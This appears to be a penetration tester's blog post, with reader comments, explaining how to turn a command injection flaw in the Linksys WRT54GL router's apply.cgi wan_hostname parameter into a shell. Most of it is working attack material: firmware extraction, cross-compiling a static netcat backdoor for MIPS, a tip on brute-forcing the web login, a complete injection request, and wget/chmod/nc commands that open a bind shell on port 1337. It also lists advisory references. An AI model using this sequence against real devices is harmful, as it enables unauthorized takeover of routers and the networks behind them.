Using the discovered OS Command Injection vulnerability in Linksys WRT54GL within a pentest
- in a nutshell:
After releasing the OS command execution vulnerability in the WRT54GL router from Linksys last week there were some requests about how could we use this vulnerability for getting a remote shell.
First off all we have to analyze the firmware a bit. For this it is best to download the original firmware from the vendor and use the firmware-modification-kit or binwalk created by Craig Heffner and Jeremy Collake. Awesome toolkit from awesome guys.
So let’s extract and analyse the firmware a bit:
root@bt:~/images/firmware_mod_kit/firmware-mod-kit-read-only# ./extract-ng.sh /root/images/FW_WRT54GL_4.30.15.002_US_20101208_code.bin linksyswrt54gl
Firmware Mod Kit (build-ng) 0.78 beta, (c)2011-2012 Craig Heffner, Jeremy Collake
http://www.bitsum.com
Scanning firmware...
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------
32 0x20 TRX firmware header, little endian, header size: 28 bytes, image size: 3362816 bytes, CRC32: 0xB5C3AB6E flags/version: 0x10000
700656 0xAB0F0 Squashfs filesystem, little endian, version 2.0, size: 2655384 bytes, 502 inodes, blocksize: 65536 bytes, created: Wed Dec 8 05:06:27 2010
root@bt:~/images/firmware_mod_kit/firmware-mod-kit-read-only/linksys-wrt54gl/rootfs# find . -iname wget
./usr/bin/wget
You should play a little bit more with the filesystem ... there is a lot of interesting stuff. For now and for our purpose it is enough! With this information we know that we should be able to download more stuff to the device with wget.
Next we need a working backdoor that we could download with netcat and execute on the device. Metasploit does not help us much on the mipsel platform. So we have to build our own backdoor. The easiest way doing this is to download the sources from the GPL Center of Linksys, extract it and use the original toolchain.
The original toolchain is located in the following path:
root@bt:~/firmware/Linksys-WRT54GL/WRT54GL-US_v4.30.13# ls ./tools/brcm/hndtools-mipsel-linux-3.2.3/bin
mipsel-linux-addr2line mipsel-linux-c++filt mipsel-linux-gccbug mipsel-linux-objcopy mipsel-linux-size mipsel-linux-ar mipsel-linux-cpp mipsel-linux-gcov mipsel-linux-objdump mipsel-linux-strings mipsel-linux-as mipsel-linux-g++ mipsel-linux-ld mipsel-linux-ranlib mipsel-linux-strip mipsel-linux-c++ mipsel-linux-gcc mipsel-linux-nm mipsel-linux-readelf
To get this toolchain working we have to install it within the opt directory just by copying over there:
root@bt:~/firmware# mv /root/firmware/Linksys-WRT54GL/WRT54GL-US_v4.30.13/tools/brcm /opt/
Next we need to adjust our PATH variable:
root@bt:~/firmware# export PATH=$PATH:/opt/brcm/hndtools-mipsel-linux-3.2.3/bin/
And now it should work and our system should be able to find it via auto completion:
root@bt:~/firmware# mipsel-linux-<TAB>+<TAB>
mipsel-linux-addr2line mipsel-linux-cpp mipsel-linux-ld mipsel-linux-readelf mipsel-linux-ar mipsel-linux-g++ mipsel-linux-nm mipsel-linux-size mipsel-linux-as mipsel-linux-gcc mipsel-linux-objcopy mipsel-linux-strings mipsel-linux-c++ mipsel-linux-gccbug mipsel-linux-objdump mipsel-linux-strip mipsel-linux-c++filt mipsel-linux-gcov mipsel-linux-ranlib
root@bt:~/firmware# mipsel-linux-gcc -v
Reading specs from /opt/brcm/hndtools-mipsel-linux-3.2.3/lib/gcc-lib/mipsel-linux/3.2.3/specs
Configured with: /opt/brcm/org/tools-src/gnu/gcc/configure -v --target=mipsel-linux --prefix=/opt/brcm/hndtools-mipsel-linux-3.2.3 --with-bcm4710a0 --with-headers=/opt/brcm/hndtools-mipsel-linux-3.2.3/mipsel-linux/include --enable-languages=c,c++
Thread model: posix
gcc version 3.2.3 with Broadcom modifications
Let’s go ahead and try to compile a simple hello world:
root@bt:~/firmware# mipsel-linux-gcc hello-world.c -o helloworld-wrt54gl --static
root@bt:~/firmware# file helloworld-wrt54gl
helloworld-wrt54gl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.2.15, not stripped
root@bt:~/firmware# mipsel-linux-strip helloworld-wrt54gl
root@bt:~/firmware# file helloworld-wrt54gl
helloworld-wrt54gl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.2.15, stripped
Look’s quite good. If you are going the extra mile you could connect via serial to your box, use wget, upload it and so on … but we need a shell :)
Download the netcat sources, extract it and compile your netcat for mipsel in the following way:
root@bt:~/firmware/netcat-0.7.1# CC="mipsel-linux-gcc --static" ./configure --host=mips-linux
root@bt:~/firmware/netcat-0.7.1# make
root@bt:~/firmware/netcat-0.7.1# file src/netcat
src/netcat: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.2.15, not stripped
Quite easy and now we have our backdoor. Final step is to pwn the box …
First upload your new and shiny netcat to a webserver which is accessible from your Linksys box. Next get access to the webinterface of your router. Typically you need to attack the basic authentication of the device for this. There are some different tools for this. Normally I will use the http_login module from Metasploit. This one is quite easy to use.
After a successful attack we get access to the webinterface and we are able to verify that the box is vulnerable via a simple ping check. Such a request looks something like the following:
POST /apply.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://<IP>/index.asp
Authorization: Basic <Adjust your authentication>
Content-Type: application/x-www-form-urlencoded
Content-Length: 734
Connection: close
submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=test&wan_hostname=`%20ping%20192%2e168%2e178%2e101%20`&wan_domain=test&mtu_enable=1&wan_mtu=1500&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=166&lan_netmask=255.255.255.0&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1
The vulnerable parameter is wan_hostname and we have injected a simple ping command to our local machine: `%20ping%20192%2e168%2e178%2e101%20`
Cause it is a blind OS Command Injection you will need some possibility to verify if it works. For this you could use tcpdump or Wireshark.

Next step is to upload your new compiled netcat, change permissions for execution and execute it.
First request is for uploading: `wget http://

The second request needs to adjust the permissions of our netcat binary: `chmod 777 /tmp/nc`

And finally execute it to open a bind shell: `/tmp/nc –v –l –p 1337 –e /bin/sh`

After this we are able to connect to our Linksys router via netcat to port 1337 and boom … shell:

Some resources to this vulnerability:
- Original advisory
- BID-57459
- ISS X-Force - Cisco Linksys WRT54GL command execution - wrt54gl-command-execution (81384)
- ISS X-Force - Cisco Linksys WRT54GL password cross-site request forgery - linksys-wrt54gl-password-csrf (81385)
- ISS X-Force - Cisco Linksys WRT54GL submit_button cross-site scripting - wrt54gl-submitbutton-xss (81386)
- ISS X-Force - Cisco Linksys WRT54GL f_name cross-site scripting - wrt54gl-fname-xss (81387)
have phun
Comments
Netcat Binary
Nooby question but could you upload that binary somewhere?
Re: Netcat Binary
you could generate it the way it is described in the blog post.
Best,
mIke